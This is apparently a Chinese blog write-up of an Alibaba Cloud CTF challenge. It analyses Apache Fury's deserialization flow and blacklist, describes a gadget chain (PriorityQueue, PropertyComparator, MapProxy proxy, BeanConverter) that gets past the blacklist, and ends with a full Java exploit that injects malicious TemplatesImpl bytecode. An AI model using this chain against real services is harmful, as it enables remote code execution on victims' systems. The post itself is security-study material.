Fury反序列化
网上没找到相关的文章,自己瞎几把分析玩的
官方文档如下
https://fury.apache.org/zh-CN/docs/guide/java_object_graph_guide
依赖
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>org.apache.fury</groupId> <artifactId>fury-core</artifactId> <version>0.10.0</version> </dependency> </dependencies>
|
序列化
fury提供了一种不同于jdk原生序列化的方式,被序列化的类不需要实现序列化的接口,直接就可以序列化
例子:序列化的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class User implements Serializable { private String username; private String password; private boolean isAdmin;
public User(String username, String password, boolean isAdmin) { this.username = username; this.password = password; this.isAdmin = isAdmin; }
public User() {}
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public String getPassword() { return password; }
public void setPassword(String password) { this.password = password; }
public boolean isAdmin() { return isAdmin; }
public void setAdmin(boolean admin) { isAdmin = admin; }
@Override public String toString() { return "User{" + "username='" + username + '\'' + ", password='" + password + '\'' + ", isAdmin=" + isAdmin + '}'; } }
|
序列化代码如下
1 2 3 4 5
| Fury fury = Fury.builder().withLanguage(Language.JAVA).build(); User user = new User("AsaL1n","password",true); fury.register(User.class); byte[] bytes = fury.serialize(user); Object test =fury.deserialize(bytes);
|
fury序列化对象的时候需要选择,序列化的类需要使用register注册,或者设置requireClassRegistration为false,否则序列化的时候会抛出错误


需要注意的是,这里注册类序列化类之后序列化的字节流和开启requireClassRegistration之后序列化的字节流是不同的,后面反序列化的时候走的过程也有区别
1 2
| Av/EAgEAIHBhc3N3b3JkABhBc2FMMW4= //register Av8BAAYDUkSIAQAgcGFzc3dvcmQAGEFzYUwxbg== //关闭c
|
说不定有什么用?
反序列化

fury有一套自己的反序列化流程,调试一下看看
在classResolver的readClassInfo函数这里,存在对传入字节流的判断

如果序列化的时候选择关闭requireClassRegistration,那么序列化的时候走入的就是上面这流程
继续跟进,会走入到getClassInfo函数这里,这里对传入的类进行了一个判断,如果这个类没有实现序列化接口,那么就会调用addSerializer为他添加序列化接口

createSerializer方法里面调用了DisallowedList.checkNotInDisallowedList 判断是否在黑名单之内,如果在黑名单之内则报错

还会调用isSecure 对这个传入的类进行判断,如果安全就会为它添加序列化接口
然后就调用readDataInternal方法,对传入的字节流进行递归还原。
这里具体实现方式是隐藏了,我没法调试进去。
但是可以看到调用了无参构造方法

然后就是直接对类成员值的设置,这里没有触发任何get/set方法。
如果是没有设置requireClassRegistration为false,那么序列化的时候是走的是下面这个函数

在这里有一个判断,尝试从registeredId2ClassInfo这个参数里面取出对应classId的类。但是如果这个类没有注册,就会报错抛出。
后面的反序列化方式同上
在递归处理字节流的时候有这一步

这里会调用之前添加的序列化器的getSerializer器的read方法
这题其实是在黑名单外找一个tostring可以利用的类
官方wp 文章 - 第三届阿里云CTF官方Writeup - 先知社区
wp这里给出了一个反序列化链子
1
| 通过审计发现com.feilong.core.util.comparator.PropertyComparator的compare方法可以触发getter调用,然后利用动态代理触发MapProxy的invoke,到达BeanConverter的jdk二次反序列化点绕过黑名单
|
主要是在PriorityQueue这个类里面添加的构造器CollectionSerializer,在他的read方法里面调用了readElements方法,触发了在他的父类李的方法,调用了readSameTypeElements,其中有一个add操作,这里的collection是PriorityQueue

继续走下去,会触发这里的compare方法

PropertyComparator的compare方法里面触发任意getter方法

会触发getdigster这个方法,由于使用了代理,就会触发MapProxy的invoke,触发到达BeanConverter的jdk二次反序列化

完整调用链如下

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import cn.hutool.core.map.MapProxy; import cn.hutool.core.util.ReflectUtil; import cn.hutool.core.util.SerializeUtil; import com.feilong.core.util.comparator.PropertyComparator; import com.feilong.lib.digester3.ObjectCreationFactory; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.fury.Fury; import org.apache.fury.config.Language;
import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue;
public class Main {
static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj, value); }
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\life\\ctf\\src\\main\\java\\org\\example\\bad.class")); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(tmpl, new byte[][]{code}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(tmpl, "hello");
TemplatesImpl tmpl1 = new TemplatesImpl(); Field bytecodes1 = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes1.setAccessible(true); bytecodes1.set(tmpl1, new byte[][]{code}); Field name1 = TemplatesImpl.class.getDeclaredField("_name"); name1.setAccessible(true); name1.set(tmpl1, "hello2"); String prop = "digester"; PropertyComparator propertyComparator = new PropertyComparator(prop); Fury fury = Fury.builder().withLanguage(Language.JAVA) .requireClassRegistration(false) .build();
Object templatesImpl1 = tmpl1; Object templatesImpl = tmpl;
PropertyComparator propertyComparator1 = new PropertyComparator("outputProperties");
PriorityQueue priorityQueue1 = new PriorityQueue(2, propertyComparator1); ReflectUtil.setFieldValue(priorityQueue1, "size", "2"); Object[] objectsjdk = {templatesImpl1, templatesImpl}; setFieldValue(priorityQueue1, "queue", objectsjdk);
byte[] data = SerializeUtil.serialize(priorityQueue1);
Map hashmap = new HashMap(); hashmap.put(prop, data);
MapProxy mapProxy = new MapProxy(hashmap); ObjectCreationFactory test = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy); ObjectCreationFactory test1 = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);
PriorityQueue priorityQueue = new PriorityQueue(2, propertyComparator); ReflectUtil.setFieldValue(priorityQueue, "size", "2"); Object[] objects = {test, test1}; setFieldValue(priorityQueue, "queue", objects);
byte[] serialize = fury.serialize(priorityQueue); fury.deserialize(serialize); System.out.println(Base64.getEncoder().encodeToString(serialize));
} }
|